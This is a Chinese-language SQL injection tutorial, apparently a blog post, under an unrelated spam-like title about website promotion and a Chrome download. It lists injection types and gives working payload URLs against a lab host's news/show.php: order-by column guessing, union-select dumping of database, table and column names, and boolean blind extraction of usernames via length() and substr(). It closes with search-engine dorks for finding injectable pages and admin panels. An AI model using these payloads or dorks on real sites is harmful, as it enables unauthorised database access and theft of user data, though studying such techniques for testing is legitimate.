獨立網(wǎng)站怎么做推廣google chrome download
一、SQL注入分類
SQL注入根據(jù)攻擊方式的不同,可以分為以下幾種類型:
- 數(shù)字型注入
- 字符型注入
- 報錯注入
- 布爾盲注
- 時間盲注
- 聯(lián)合查詢注入
- 基于堆疊的查詢注入
二、SQL注入流程
- 發(fā)現(xiàn)注入點
- 猜測字段數(shù)
- 確定顯示字段
- 獲取數(shù)據(jù)庫信息
- 獲取數(shù)據(jù)庫中的表
- 獲取表中的字段
- 獲取字段中的數(shù)據(jù)
例子:
獲取數(shù)據(jù)庫名參考
-
字符限制:數(shù)據(jù)庫的名字可以包含字母、數(shù)字、下劃線和美元符號(
$
)。但是,名字不能以數(shù)字開頭。 -
大小寫敏感性:在Windows系統(tǒng)上,MySQL數(shù)據(jù)庫的名字默認是不區(qū)分大小寫的。但在大多數(shù)Unix/Linux系統(tǒng)上,數(shù)據(jù)庫的名字是區(qū)分大小寫的。為了確??缙脚_的兼容性,建議使用小寫字母。
-
長度限制:數(shù)據(jù)庫的名字最大長度為64個字符。
1.發(fā)現(xiàn)網(wǎng)站請求為get,如果存在注入點這里不會報錯
http://192.168.10.111/news/show.php?id=-1 and 1=12.發(fā)現(xiàn)注入點后猜字段,逐一嘗試猜測字段數(shù)
http://192.168.10.111/news/show.php?id=-1 order by 16
-- order by x 根據(jù)第x個字段排序,如果出現(xiàn)報錯說明字段不存在3.發(fā)現(xiàn)不報錯出現(xiàn),并且出現(xiàn)的數(shù)值,為顯示字段
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,154.脫庫
//獲取當前數(shù)據(jù)庫
http://192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15//獲取數(shù)據(jù)庫中的表,hex的作用是因為拼接后的字符串有‘,’會混淆
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(table_name))
,12,13,14,15 from information_schema.tables where table_schema='news'//獲取表中的字段
192.168.10.111/news/show.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,
hex(group_concat(column_name))
,12,13,14,15 from information_schema.columns where table_schema='news' and table_name='news_users
三、sql盲注:
構(gòu)造真或者假的問題對數(shù)據(jù)庫進行提問
尋找sql注入點
1.在url后添加? ?’? 如果報錯說明有注入點
2.對數(shù)值型注入點可以進行減法
3.對在url后添加? ?and 1=2? ?如果沒有正常顯示,說明有注入點
例子:
-- 猜測數(shù)據(jù)庫長度
http://192.168.10.111/news/show.php?id=46 and length(database())=4-- 或取當前數(shù)據(jù)庫第二個字符
http://192.168.10.111/news/show.php?id=46 and substr(database(),2,1)='e'-- 獲取news數(shù)據(jù)庫中所有表名長度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(table_name)
from information_schema.tables where table_schema='news'))=98-- 獲取表名字符串第一個字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(table_name)
from information_schema.tables where table_schema='news'),1,1)='n'-- 獲取news庫,news_users表中字段字符串的字符串長度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(column_name)
from information_schema.columns where table_schema='news' and table_name='news_users'))=24-- 獲取字段第一個字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(column_name)
from information_schema.columns where table_schema='news' and table_name='news_users'),1,1)='u'-- 獲取username字段中的信息長度
http://192.168.10.111/news/show.php?id=46 and length((select group_concat(username) from
news.news_users))=5-- 獲取username字段的字符
http://192.168.10.111/news/show.php?id=46 and substr((select group_concat(username) fromnews.news_users),2,1)='d'
?
注:查找網(wǎng)站資源可使用hacking語法
inurl:?id=????????????????url中存在:?id=
Intitle:admin? ? ? ? ? ? title中存在:admin
filetype:txt? ? ? ? ? ? ? ? 查找網(wǎng)站中txt文件
site:www.baidu.com 在百度中查找